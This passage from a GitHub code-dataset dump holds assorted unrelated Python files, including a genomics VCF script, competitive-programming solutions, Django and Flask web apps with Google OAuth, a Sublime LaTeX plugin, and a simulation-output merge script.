get_normal_GT(record.info['NT'])\n else:\n raise IOError('VCF contains sample %s, not passed as tumor or normal'\n % sample.name)\n sample['AD'] = get_AD(sample, record.ref, record.alts)\n sample['AF'] = get_AF(sample['AD'])\n\n output.write(record)\n\n output.close()\n input_vcf.close()\n\ndef build_output_name(inpath, output_basename):\n \"\"\"Builds an VCF.GZ output filename based on the input (VCF/VCF.GZ) name\n The filename will be the input filename with '.standard' inserted before '.vcf.gz'\n \n Args:\n inpath (str): Path to the input VCF(.GZ) file\n output_basename (str): Used as first element of output filename in place of \n first element of name of inpath filename\n Return:\n str: Filename in the format ..consensus.vcf.gz\n \"\"\"\n basename_split = os.path.split(inpath)[-1].split('.')\n output_fields = [output_basename] + basename_split[1:-2] + ['standard'] + basename_split[-2:]\n return '.'.join(output_fields)\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser(\n description = 'Add standard fields to Strelka2 VCF')\n\n parser.add_argument('--strelka2_vcf', \n help='Normalized Strelka2 VCF')\n parser.add_argument('--tumor_name',\n help='Name of tumor sample in VCF')\n parser.add_argument('--normal_name',\n help='Name of normal sample in VCF')\n parser.add_argument('--output_basename',\n help='String to use as basename for output file [e.g.] task ID')\n\n args = parser.parse_args()\n\n # Get output VCF location\n base_dir = os.getcwd()\n output_vcf_name = build_output_name(args.strelka2_vcf, args.output_basename)\n output_vcf_path = os.path.join(base_dir, output_vcf_name)\n\n # Create and index the modified VCF\n create_mod_vcf(output_vcf_path, args.strelka2_vcf, args.tumor_name, args.normal_name)\n pysam.tabix_index(output_vcf_path, preset=\"vcf\", force=True) \n","repo_name":"kids-first/kf-somatic-workflow","sub_path":"scripts/add_strelka2_fields.py","file_name":"add_strelka2_fields.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"28093301729","text":"\ndef maxProfit(stocks):\n l = 0\n max_profit = 0\n for r in range(1, len(stocks)):\n if stocks[l] < stocks[r]:\n profit = stocks[r] - stocks[l]\n max_profit = max(max_profit, profit)\n else:\n l = r\n return max_profit\n\n\ndef main():\n stocks = list(map(int, input().split()))\n print(maxProfit(stocks))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Navkant007/competitive_coding","sub_path":"python_codes/leetcode/buysellstocks.py","file_name":"buysellstocks.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26537709697","text":"import os\nimport re\nimport sys\nimport logging\nfrom io import IOBase\nimport openai\nfrom contextlib import redirect_stdout\nimport requests\nfrom bs4 import BeautifulSoup\nimport datetime\n\nme = \"Ruben\"\nnow = datetime.datetime.now()\nopenai.api_key = \"PLACE YOUR KEY HERE\"\n\n\n\nclass Tee(IOBase):\n def __init__(self, file1, file2=sys.stdout):\n self.file1 = file1\n self.file2 = file2\n\n def write(self, data):\n self.file1.write(data)\n self.file2.write(data)\n\n\n\n\n\ndef chat_welcome():\n print(f\"VOICE:\\n\\nHi {me}, I see you're feeling lonely again and you want to talk to somebody. Have you checked your phone for an open conversation yet? \")\n input1 = input()\n print(f\"ME:\\n\\n{input1}\")\n if input1 == \"no\":\n print(\"VOICE:\\n\\nPlease check your phone first. Maybe there's somebody who wants to talk to you.\")\n elif input1 == \"yes\":\n print(\"VOICE:\\n\\nI'm sorry to hear that your feeling lonely. Before we talk, do you want me to record everything and send it to your Diary?\")\n input1 = input()\n print(f\"ME:\\n\\n{input1}\")\n if input1 == \"no\":\n print(\"VOICE:\\n\\nOkay\")\n status = 0\n chat()\n if input1 == \"yes\":\n print(\"VOICE:\\n\\nOk, I'll do that\")\n status = 1\n chat()\n\ndef chat():\n active = True\n while active:\n input1 = input(\"Write something...\\n\")\n print(f\"ME:\\n\\n{input1}\")\n if \"goodnight\" in input1:\n print(f\"VOICE:\\n\\nHave a good night {me}\")\n else:\n response = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=input1,\n temperature=0.6,\n max_tokens=150,\n top_p=1,\n frequency_penalty=1,\n presence_penalty=1\n )\n print(f\"VOICE:{response.choices[0].text}\")\n\n\n\nsys.stdout = Tee(open(f\"C:/Users/user/OneDrive/Desktop/tagebuch/{now.date()}.txt\", \"w\"))\nchat_welcome()\nsys.stdout.flush()\nsys.stdout.close()\n\n\n\n\n","repo_name":"ItIzYe/LonelyMan","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39426088744","text":"# https://codeforces.com/contest/1287/problem/B\n# 晴れ 晴れ\n\nimport sys\nread = sys.stdin.readline\nwrite = sys.stdout.write\n\ndef make(a, b):\n ret = \"\"\n for i in range(len(a)):\n if a[i] == b[i]:\n ret += a[i]\n else:\n num = 6 - (ord(a[i]) - ord('0')) - (ord(b[i]) - ord('0'))\n ret += chr(ord('0') + num)\n return ret\n \ndef conv(a):\n return a.replace('S', '1').replace('E', '2').replace('T', '3')\n\nN, K = map(int, read().split())\ncards = set()\nA = []\nfor _ in range(N):\n A.append(conv(read()))\n cards.add(A[-1])\n\nans = 0\nfor i in range(N):\n for j in range(i+1, N):\n # use A[i] and A[j] to see if their triple exists\n if make(A[i], A[j]) in cards:\n ans += 1\n \nwrite(str(ans//3) + '\\n')","repo_name":"warithr621/Comp-Programming","sub_path":"Codeforces/1287/hyperset.py","file_name":"hyperset.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74925584193","text":"from __future__ import unicode_literals\nfrom hazm import *\n\n\n\n\nnormalizer = Normalizer()\ntest = \"چرا که نه آن ها هم می خواهم بدانم ی آمدم ببینم چه خبر شده است خوانداذه آهنگ موسیقی ترانه رایانه کامپیوتر\"\nprint(test)\ntest1 = normalizer.normalize(test)\nprint(test1)\ntest2 = word_tokenize(test1)\nprint(test2)\n\nstemmer = Stemmer()\nfor i in test2:\n s1 = stemmer.stem(i)\n print(s1, end=' -- ')\n\nprint()\nlemmatizer = Lemmatizer()\nfor i in test2:\n l1 = lemmatizer.lemmatize(i)\n print(l1, end=' .. ')\n","repo_name":"AwesDea/Hamshahri-Information-Retrieval","sub_path":"hazm test.py","file_name":"hazm test.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72139307075","text":"import json\nimport os\n\nimport requests\n\nfrom api import app\n\nfrom flask_login import (\n LoginManager,\n current_user,\n login_required,\n login_user,\n logout_user,\n)\n\nfrom ariadne import load_schema_from_path, make_executable_schema, \\\n graphql_sync, snake_case_fallback_resolvers, ObjectType\nfrom ariadne.constants import PLAYGROUND_HTML\nfrom flask import request, jsonify, Flask, redirect, url_for\nfrom oauthlib.oauth2 import WebApplicationClient\n\nimport api\nfrom api.queries import get_user_resolver, list_users_resolver\nfrom api.mutations import create_user_resolver, update_user_resolver, delete_user_resolver\n\n\nquery = ObjectType(\"Query\")\nmutation = ObjectType(\"Mutation\")\n\nquery.set_field(\"listUsers\", list_users_resolver)\nquery.set_field(\"getUser\", get_user_resolver)\n\nmutation.set_field(\"createUser\", create_user_resolver)\nmutation.set_field(\"updateUser\", update_user_resolver)\nmutation.set_field(\"deleteUser\", delete_user_resolver)\n\ntype_defs = load_schema_from_path(\"schema.graphql\")\nschema = make_executable_schema(\n type_defs, query, mutation, snake_case_fallback_resolvers\n)\n\n\n@app.route(\"/graphql\", methods=[\"GET\"])\ndef graphql_playground():\n return PLAYGROUND_HTML, 200\n\n\n@app.route(\"/graphql\", methods=[\"POST\"])\ndef graphql_server():\n data = request.get_json()\n\n success, result = graphql_sync(\n schema,\n data,\n context_value=request,\n debug=app.debug\n )\n\n status_code = 200 if success else 400\n return jsonify(result), status_code\n\n\n# User session management setup\n# https://flask-login.readthedocs.io/en/latest\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n\n# OAuth 2 client setup\nclient = WebApplicationClient(api.GOOGLE_CLIENT_ID)\n\n\n# Flask-Login helper to retrieve a user from our db\n@login_manager.user_loader\ndef load_user(user_id):\n return api.queries.User.query.get(user_id)\n\n\n@app.route('/')\ndef index():\n if current_user.is_authenticated:\n return (\n \"

Hello, {}! You're logged in! Email: {}

\"\n \"

Google Profile Picture:

\"\n '\"Google
'\n 'Logout'.format(\n current_user.username, current_user.email, current_user.profile_pic\n )\n )\n else:\n return 'Google Login'\n\n\n@app.route(\"/login\")\ndef login():\n # Find out what URL to hit for Google login\n google_provider_cfg = api.get_google_provider_cfg()\n authorization_endpoint = google_provider_cfg[\"authorization_endpoint\"]\n\n # Use library to construct the request for Google login and provide\n # scopes that let you retrieve user's profile from Google\n request_uri = client.prepare_request_uri(\n authorization_endpoint,\n redirect_uri=request.base_url + \"/callback\",\n scope=[\"openid\", \"email\", \"profile\"],\n )\n return redirect(request_uri)\n\n\n@app.route(\"/login/callback\")\ndef callback():\n # Get authorization code Google sent back to you\n code = request.args.get(\"code\")\n\n google_provider_cfg = api.get_google_provider_cfg()\n token_endpoint = google_provider_cfg[\"token_endpoint\"]\n\n token_url, headers, body = client.prepare_token_request(\n token_endpoint,\n authorization_response=request.url,\n redirect_url=request.base_url,\n code=code\n )\n\n token_response = requests.post(\n token_url,\n headers=headers,\n data=body,\n auth=(api.GOOGLE_CLIENT_ID, api.GOOGLE_CLIENT_SECRET),\n )\n\n # Parse the tokens!\n client.parse_request_body_response(json.dumps(token_response.json()))\n # Now that you have tokens (yay) let's find and hit the URL\n # from Google that gives you the user's profile information,\n # including their Google profile image and email\n userinfo_endpoint = google_provider_cfg[\"userinfo_endpoint\"]\n uri, headers, body = client.add_token(userinfo_endpoint)\n userinfo_response = requests.get(uri, headers=headers, data=body)\n # You want to make sure their email is verified.\n # The user authenticated with Google, authorized your\n # app, and now you've verified their email through Google!\n if userinfo_response.json().get(\"email_verified\"):\n unique_id = userinfo_response.json()[\"sub\"]\n users_email = userinfo_response.json()[\"email\"]\n picture = userinfo_response.json()[\"picture\"]\n users_name = userinfo_response.json()[\"given_name\"]\n else:\n return \"User email not available or not verified by Google.\", 400\n # Create a user in your db with the information provided\n # by Google\n user = api.queries.User(\n id=unique_id, username=users_name, email=users_email, profile_pic=picture\n )\n\n # Doesn't exist? Add it to the database.\n if not api.queries.User.query.get(unique_id):\n api.mutations.create_user_resolver(None, None, unique_id, users_name, users_email, picture)\n\n # Begin user session by logging the user in\n login_user(user, force=True, remember=True)\n\n # Send user back to homepage\n return redirect(url_for(\"index\"))\n\n\n@app.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n return redirect(\"/\")\n\n\nif __name__ == \"__main__\":\n app.run(ssl_context=\"adhoc\", debug=True)\n","repo_name":"cannoness/graphql-backend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14592810365","text":"# pylint: disable=R0904\n\nimport datetime\nfrom django.contrib import admin\nimport pytz\nfrom website.apwan.models.token import Token\n\n__author__ = 'Dean Gardiner'\n\n\nclass TokenAdmin(admin.ModelAdmin):\n list_display = (\n 'owner',\n 'token', 'token_type',\n 'expires_in'\n )\n list_display_links = ('token',)\n\n def expires_in(self, obj):\n expire_delta = obj.expire - datetime.datetime.utcnow().replace(tzinfo=pytz.utc)\n expire_seconds = expire_delta.total_seconds()\n expire_minutes = round(expire_seconds / 60, 0)\n expire_hours = round(expire_minutes / 60, 0)\n\n result = \"EXPIRED\"\n\n if expire_hours > 1:\n result = \"%d hours\" % expire_hours\n elif expire_hours == 1:\n result = \"1 hour\"\n elif expire_minutes > 1:\n result = \"%d minutes\" % expire_minutes\n elif (expire_seconds / 60) == 1:\n result = \"1 minute\"\n elif expire_seconds > 1:\n result = \"%d seconds\" % expire_seconds\n elif expire_seconds == 1:\n result = \"1 second\"\n\n return result\n\nadmin.site.register(Token, TokenAdmin)\n","repo_name":"FructusCode/website","sub_path":"website/apwan/admin/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33132992524","text":"import sublime\nimport sublime_plugin\n\nimport os\n\nfrom .completions.latex_commands import math_commands, general_commands\n\n\ndef is_duplicated(x, r):\n for item in r:\n if item[0].startswith(x):\n return True\n return False\n\n\nlz_settings_file = \"LaTeXYZ.sublime-settings\"\n\n\ndef tidy(x):\n if len(x) == 2:\n contents = x[1]\n if \"$1\" not in contents:\n contents = contents.replace(\"$0\", \"$1\")\n elif \"$2\" not in contents:\n contents = contents.replace(\"$0\", \"$2\")\n return (x[0], contents)\n else:\n return x\n\n\ndef maybe_remove_backslash(x):\n if sublime.version() < '4000' and len(x) == 2 and x[1].startswith(\"\\\\\"):\n return (x[0], x[1][1:])\n else:\n return x\n\n\nclass LatexyzBlackSlashCompletions(sublime_plugin.EventListener):\n\n general_commands = None\n math_commands = None\n latex_cwl_installed = None\n\n def on_query_completions(self, view, prefix, locations):\n if view.settings().get('is_widget'):\n return\n\n if not view.match_selector(locations[0], \"text.tex.latex\"):\n return None\n\n # use default completion for non latex command\n ploc = locations[0] - len(prefix)\n if prefix and view.substr(sublime.Region(ploc - 1, ploc)) != \"\\\\\":\n return None\n\n lz_settings = sublime.load_settings(lz_settings_file)\n backslash_complete = lz_settings.get(\"backslash_complete\", \"auto\")\n if backslash_complete is False:\n return\n\n if backslash_complete == \"auto\":\n if self.latex_cwl_installed is None:\n self.latex_cwl_installed = \\\n \"LaTeX-cwl.sublime-package\" in os.listdir(sublime.installed_packages_path()) \\\n and \"LaTeX-cwl\" not in view.settings().get(\"ignored_packages\", []) \\\n and \"LaTeXTools\" not in view.settings().get(\"ignored_packages\", [])\n if self.latex_cwl_installed is True:\n return\n\n if not self.general_commands:\n if lz_settings.get(\"auto_create_fields\", False):\n self.general_commands = [maybe_remove_backslash(tidy(x)) for x in general_commands]\n else:\n self.general_commands = [maybe_remove_backslash(x) for x in general_commands]\n\n if not self.math_commands:\n if lz_settings.get(\"auto_create_fields\", False):\n self.math_commands = [maybe_remove_backslash(tidy(x)) for x in math_commands]\n else:\n self.math_commands = [maybe_remove_backslash(x) for x in math_commands]\n\n r = self.general_commands\n if view.match_selector(locations[0], \"meta.environment.math\"):\n r = r + self.math_commands\n\n extract_completions = list(set(\n [view.substr(s) for s in view.find_all(r\"\\\\%s[a-zA-Z@]+\\*?\" % prefix) if s.size() > 3]\n ))\n r = r + [(item, ) for item in extract_completions if not is_duplicated(item, r)]\n return list(set(r))\n","repo_name":"randy3k/LaTeXYZ","sub_path":"backslash_complete.py","file_name":"backslash_complete.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"61"} +{"seq_id":"23435230541","text":"__author__ = 'Pierre-Luc'\r\n\r\n\r\ndef solve(N,NBlocks,KBlocks,numCase):\r\n NBlocks.sort()\r\n KBlocks.sort()\r\n answer1 = solveStrategy1(N,list(NBlocks),list(KBlocks))\r\n answer2 = solveStrategy2(N,NBlocks,KBlocks)\r\n\r\n fOutput.write(\"Case #\" + str(numCase+1) + \": \")\r\n fOutput.write(str(answer2) + \" \"+ str(answer1))\r\n\r\n fOutput.write(\"\\n\")\r\n\r\ndef solveStrategy1(N,NBlocks,KBlocks):\r\n numWins = 0\r\n\r\n for game in range(N):\r\n valN = NBlocks.pop(0)\r\n\r\n KPlayed = False\r\n for i in range(0,len(KBlocks)):\r\n if KBlocks[i] > valN:\r\n KBlocks.pop(i)\r\n KPlayed = True\r\n break\r\n if KPlayed == False:\r\n KBlocks.pop(0)\r\n numWins += 1\r\n\r\n return numWins\r\ndef solveStrategy2(N,NBlocks,KBlocks):\r\n return N-solveStrategy1(N,KBlocks,NBlocks)\r\n\r\n\r\n\r\nfInput = open(\"4InputLarge.txt\",\"r\")\r\nfOutput = open(\"4OutputLarge.txt\",\"w\")\r\n\r\n\r\nT = int(fInput.readline())\r\n\r\nfor numCase in range(0,T):\r\n N = int(fInput.readline())\r\n NBlocks = fInput.readline().strip(\"\\n\").split(\" \")\r\n NBlocks = [float(i) for i in NBlocks]\r\n\r\n KBlocks = fInput.readline().strip(\"\\n\").split(\" \")\r\n KBlocks = [float(i) for i in KBlocks]\r\n\r\n solve(N,NBlocks,KBlocks,numCase)\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_138/496.py","file_name":"496.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23570354621","text":"\r\ndef main(input):\r\n file = open(input)\r\n txt = file.read().split()\r\n file.close()\r\n\r\n\r\n file = open(\"result.txt\", 'w')\r\n i = 0\r\n j = 1\r\n while i < int(txt[0])*2:\r\n spaces = int(txt[i+1])\r\n population = int(txt[i+2])\r\n #print spaces, population\r\n\r\n stalls = [1]\r\n for k in range(spaces):\r\n stalls.append(0)\r\n stalls.append(1)\r\n #print sidesSpaces(stalls, 3)\r\n\r\n if (population == spaces): file.write(\"Case #\"+str(j)+\": \"+str(\"0 0\")+\"\\n\")\r\n #elif (population == 1): file.write(\"Case #\"+str(j)+\": \"+str(spaces/2)+\" \"+str(spaces/2 - 1)+\"\\n\")\r\n else:\r\n for p in range(population):\r\n result = fillPosition(stalls)\r\n file.write(\"Case #\" + str(j) + \": \" +str(result[2])+\" \"+str(result[0])+ \"\\n\")\r\n j += 1\r\n i += 2\r\n file.close()\r\n\r\ndef sidesSpaces(stalls, index):\r\n\r\n left = right = 0\r\n\r\n i = index\r\n while i > 1 and stalls[i-1] == 0:\r\n left += 1\r\n i -= 1\r\n i = index\r\n while i < len(stalls)-2 and stalls[i+1] == 0:\r\n right += 1\r\n i += 1\r\n return left, right\r\n\r\ndef fillPosition(stalls):\r\n valuesFirst = []\r\n candidats = []\r\n candidatsSecond = []\r\n for i in range(1, len(stalls)-1):\r\n if stalls[i] == 0:\r\n distances = sidesSpaces(stalls, i)\r\n minDistance = min(distances[0], distances[1])\r\n maxDistance = max(distances[0], distances[1])\r\n valuesFirst.append((minDistance, i, maxDistance))\r\n valuesFirst.sort(key=lambda x: x[0], reverse=True)\r\n #print values\r\n maximum = valuesFirst[0][0]\r\n j = 0\r\n while j < len(valuesFirst) and valuesFirst[j][0] == maximum:\r\n candidats.append(valuesFirst[j])\r\n j += 1\r\n\r\n if len(candidats) == 1:\r\n stalls[candidats[0][1]] = 1\r\n return candidats[0]\r\n else:\r\n candidats.sort(key=lambda x: x[2], reverse=True)\r\n maximum = candidats[0][2]\r\n j = 0\r\n while j < len(candidats) and candidats[j][2] == maximum:\r\n candidatsSecond.append(candidats[j])\r\n j += 1\r\n if len(candidatsSecond) == 1:\r\n stalls[candidatsSecond[0][1]] = 1\r\n return candidatsSecond[0]\r\n else:\r\n candidatsSecond.sort(key=lambda x: x[1], reverse=False)\r\n stalls[candidatsSecond[0][1]] = 1\r\n return candidatsSecond[0]\r\n\r\n\r\n\r\nmain(\"C-small-1-attempt1.in\")","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/2445.py","file_name":"2445.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7618638362","text":"from django.shortcuts import render\nfrom .forms import CommentForm\nfrom .ml_model import model\n\n\ndef index(request):\n form = CommentForm()\n return render(request, \"index.html\", {'form': form})\n\n\ndef get_comment(request):\n status = rating = ''\n if request.method == 'POST':\n form = CommentForm(request.POST)\n if form.is_valid():\n prediction = model.comment_checking(form.data['comment'])\n status = prediction[0]\n rating = prediction[1]\n else:\n form = CommentForm()\n\n return render(request, 'index.html', {'form': form, 'status': status, 'rating': rating})\n","repo_name":"Artie47/Film-comments-classifcation","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20866417666","text":"from django.shortcuts import render, redirect , get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Product,Order,Category\nfrom .forms import OrderCreateForm,OrderUpdateForm\nfrom django.contrib import messages\n\n\n############################## View for retreaive & display all entries from Product table & Serach##########.\n@login_required(login_url='login')\ndef dashboard(request):\n Query_set = Product.objects.all()\n \n\n # Logic for search by category & product by name\n if 'keywords' in request.GET:\n keywords = request.GET['keywords']\n if keywords:\n # join query from 2 columns of one table for search by category & productname\n Query_set = Query_set.filter(Product_Name__icontains=keywords) | Query_set.filter(\n Product_Category__Category_Name__icontains=keywords) # For accessing other table when have relationship field EX->Modal__columnname like Category__Category_Name\n\n context = {\n 'products': Query_set\n }\n\n return render(request, 'accounts/dashboard.html', context)\n \n##################################### Single Product Page########################################\n@login_required(login_url='login')\ndef productDetail(request,pk):\n Product_Detail = get_object_or_404(Product,id=pk)\n context={ \n 'product': Product_Detail\n }\n\n return render(request,'accounts/product_detail.html',context)\n \n#################################################Orders Management########################################################\n \n############################################Create Orders##############################\n \n@login_required(login_url='login')\ndef addOrder(request):\n if request.method == 'POST':\n form = OrderCreateForm(request.POST)\n \n if form.is_valid():\n Order_Name_Of_Product = form.cleaned_data['Order_Name_Of_Product']\n Order_Quantity = form.cleaned_data['Order_Quantity']\n Phone = form.cleaned_data['Phone']\n Email = form.cleaned_data['Email']\n # print(Order_Name_Of_Product)\n instance = form.save(commit=False) #By this you can take form value to variable like order.then you will process data from database like.order.customer=request.user\n # print(instance.Order_Name_Of_Product.Product_Quantity)\n # print(instance.Order_Quantity)\n \n\n instance.customer = request.user #Logic to have the logged-in user and saving in user field of instance table\n instance.save()\n messages.success(request, 'Item is Ordered Successfully')\n return redirect('viewOrders')\n else:\n form = OrderCreateForm(request.POST)\n context = {\n 'form': form,\n\n }\n\n return render(request, 'accounts/add_order.html', context)\n\n form = OrderCreateForm()\n context = {\n 'form': form\n }\n\n return render(request, 'accounts/add_order.html', context)\n\n\n############################## View for display all Orders from Order table For loggedin users & Search##########.\n@login_required(login_url='login')\ndef viewOrders(request):\n Query_set = Order.objects.filter(customer_id=request.user.id) #Query to fetch specific user's orders\n context = {\n 'orders': Query_set\n }\n\n return render(request, 'accounts/view_orders.html', context)\n\n\n################################ View for Update Orders from Order table For loggedin users######################.\n@login_required(login_url='login')\ndef editOrder(request,pk):\n # user=Order.objects.filter(customer_id=request.user.id)\n query_set = Order.objects.get(id=pk) ####objects.get method doesnot return queryset like filter.It will return onlny one result\n form = OrderUpdateForm(instance=query_set)\n if request.method == 'POST':\n form = OrderUpdateForm(request.POST, instance=query_set)\n if form.is_valid():\n form.save()\n messages.success(request,'Item is Updated Successfully') \n return redirect('viewOrders')\n \n context = {\n 'form':form,\n 'pk':pk\n \n }\n return render(request,'accounts/edit_order.html', context)\n\n\n################################ View for Delete Orders from Order table For loggedin users###################.\n\ndef deleteOrder(request,pk):\n queryset = Order.objects.get(id=pk)\n if request.method == 'POST':\n queryset.delete()\n return redirect('viewOrders')\n context={\n 'pk':pk\n }\n return render(request, 'accounts/del_order.html',context)\n","repo_name":"saurabh-patyal/user_profile_dashboard","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34634216959","text":"#! /usr/bin/env python\n\nimport sys\nimport os\nimport re\nimport glob\nfrom subprocess import Popen\n\n# Sort the given list in the way that humans expect.\ndef sort_nicely(input_list):\n convert = lambda text: int(text) if text.isdigit() else text\n alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ]\n input_list.sort( key=alphanum_key )\n\n# Determine if file is an executable\ndef is_exe(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n# Determine if executable in path\ndef which(program):\n # Determine if executable in path\n fpath, fname = os.path.split(program)\n if fpath:\n if is_exe(program):\n return program\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n exe_file = os.path.join(path, program)\n if is_exe(exe_file):\n return exe_file\n return None\n\ndef create_file_list():\n # Generate listing of files -s* for merging\n files = glob.glob('*.e*')\n files_to_join = []\n for file in files:\n start = 0\n end = file.find('.e')\n newfile = file[start:end]\n files_to_join.append(newfile)\n\n # Remove duplicates\n files_to_join = list(set(files_to_join))\n files_to_join.sort()\n return files_to_join\n\ndef merge_files(files_to_join, path, base_name, num_proc):\n result = 0\n\n # open log file\n log_file_name = base_name + \".log\"\n if os.path.exists(log_file_name):\n os.remove(log_file_name)\n logfile = open(log_file_name, 'w')\n\n # First merge all distributed exodus databases for each time stamp\n for file in files_to_join:\n if is_exe(path+\"epu\"):\n command = [path+\"epu\", \"-p\", num_proc, file]\n elif which(\"epu\") != None:\n command = [\"epu\", \"-p\", num_proc, file]\n else:\n print(\"Error: epu not found! Please execute this script from 'scripts' in your Peridigm build directory or put 'epu' in your path. 'epu' can be found in your Trilinos install 'bin' directory.\")\n sys.exit(-1)\n p = Popen(command, stdout=logfile, stderr=logfile)\n return_code = p.wait()\n if return_code != 0:\n result = return_code\n\n # Check for any \"-s\" files\n check = glob.glob('*-s*')\n if len(check) != 0:\n # Add .e to list of files for conjoin\n files_to_conjoin = []\n for file in files_to_join:\n newfile = file + \".e\"\n files_to_conjoin.append(newfile)\n sort_nicely(files_to_conjoin)\n # Now combine time series from all databases\n if is_exe(path+\"conjoin\"):\n command = [path+\"conjoin\", \"-output\", base_name+\".e\"]\n elif which(\"conjoin\") != None:\n command = [\"conjoin\", \"-output\", base_name+\".e\"]\n else:\n print(\"Error: conjoin not found! Please execute this script from 'scripts' in your Peridigm build directory or put 'conjoin' in your path. 'conjoin' can be found in your Trilinos install 'bin' directory.\")\n sys.exit(-1)\n for file in files_to_conjoin:\n command.append(file)\n p = Popen(command, stdout=logfile, stderr=logfile)\n return_code = p.wait()\n if return_code != 0:\n result = return_code\n\n # If error print message to screen\n if result != 0:\n print(\"\\n Error when merging files! Check .log file for error details.\\n\")\n \n return result\n\ndef usage():\n if len(sys.argv) < 2:\n print(\"\\n----------------Peridigm Exodus Outfile Merger----------------\\n\")\n print(\"Usage: MergeFiles.py <# of Processors>\\n\")\n sys.exit(1)\n\ndef main():\n \"\"\"\n Main routine\n \"\"\"\n usage()\n\n path = sys.argv[0]\n base_name = sys.argv[1]\n num_proc = sys.argv[2]\n\n # Define path to location of MergeFiles to call epu and conjoin later\n start = 0\n end = path.find('MergeFiles')\n newfile = path[start:end]\n path = newfile\n\n # remove the output .e file if it exists\n if os.path.exists(base_name+\".e\"):\n os.remove(base_name+\".e\")\n\n files_to_join = create_file_list()\n\n result = merge_files(files_to_join, path, base_name, num_proc)\n\n sys.exit(result)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"peridigm/peridigm","sub_path":"scripts/MergeFiles.py","file_name":"MergeFiles.py","file_ext":"py","file_size_in_byte":4264,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"61"} +{"seq_id":"19883844065","text":"# -*- coding: utf-8 -*-\n\nfrom Logger import logger\nfrom funcs import config_loader as cfg\nfrom funcs import jenkins_builder_app as jks\n\nCHAT_ID = int(cfg.get_chat_id())\n\n\ndef add_build() -> str:\n \"\"\"\n Запуск нового билда\n\n :return: результат запуска билда или причина, почему билд не запущен\n \"\"\"\n logger.info('Запущено добавление нового билда')\n errors = jks.new_build()\n # Если не вернулись ошибки:\n if errors and len(errors) > 0:\n return str(errors)\n else:\n logger.info('Билд запущен')\n return 'Билд запущен'\n\n\ndef get_help() -> str:\n \"\"\"\n Получение справки по боту\n\n :return: справка по боту\n \"\"\"\n answer = 'Справка по боту\\n\\n'\n answer += ('Список команд:\\n'\n '* build - запуск нового билда')\n return answer\n\n\ndef test_func() -> str:\n \"\"\"\n Тестовая функция для отладки\n\n :return: тестовые данные\n \"\"\"\n answer = \"Тестовая функция\"\n return answer\n","repo_name":"nuPATEXHuK/CI_bot","sub_path":"funcs/main_funcs.py","file_name":"main_funcs.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26656190814","text":"import os\nimport cv2\nimport csv\nimport timm\nimport torch\nimport numpy as np\nimport albumentations as A\nfrom torch.utils.data import Dataset, DataLoader\n\n# 절대경로 수정필요\nabsolute_path = 'C:/smartrash_workspace/smartrash/src/main/webapp/resources/python/csv/'\n\nf = open(absolute_path + 'test.csv', 'r')\nrdr = csv.reader(f)\n\ntestPath = ''\nfilePath = ''\n\nfor line in rdr:\n testPath = line[0]\n filePath = line[1]\n\nf.close()\n\nmodel_name = \"swsl_resnext50_32x4d\"\nbatch_size = 96\n\n\nclass TestDataset(Dataset):\n def __init__(self, file_lists, transforms=None):\n self.file_lists = file_lists.copy()\n self.transforms = transforms\n\n def __getitem__(self, idx):\n img = cv2.imread(self.file_lists[idx], cv2.IMREAD_COLOR)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n if self.transforms:\n img = self.transforms(image=img)[\"image\"]\n\n img = img.transpose(2, 0, 1)\n\n img = torch.tensor(img, dtype=torch.float)\n return img\n\n def __len__(self):\n return len(self.file_lists)\n\n\ndevice = torch.device(\"cpu\") # cpu\n# device = torch.device(\"cuda\") # gpu\n\nclass_path = testPath + 'dataset/'\nclass_list = os.listdir(class_path)\nclass_encoder = {}\n\nfor i in class_list:\n 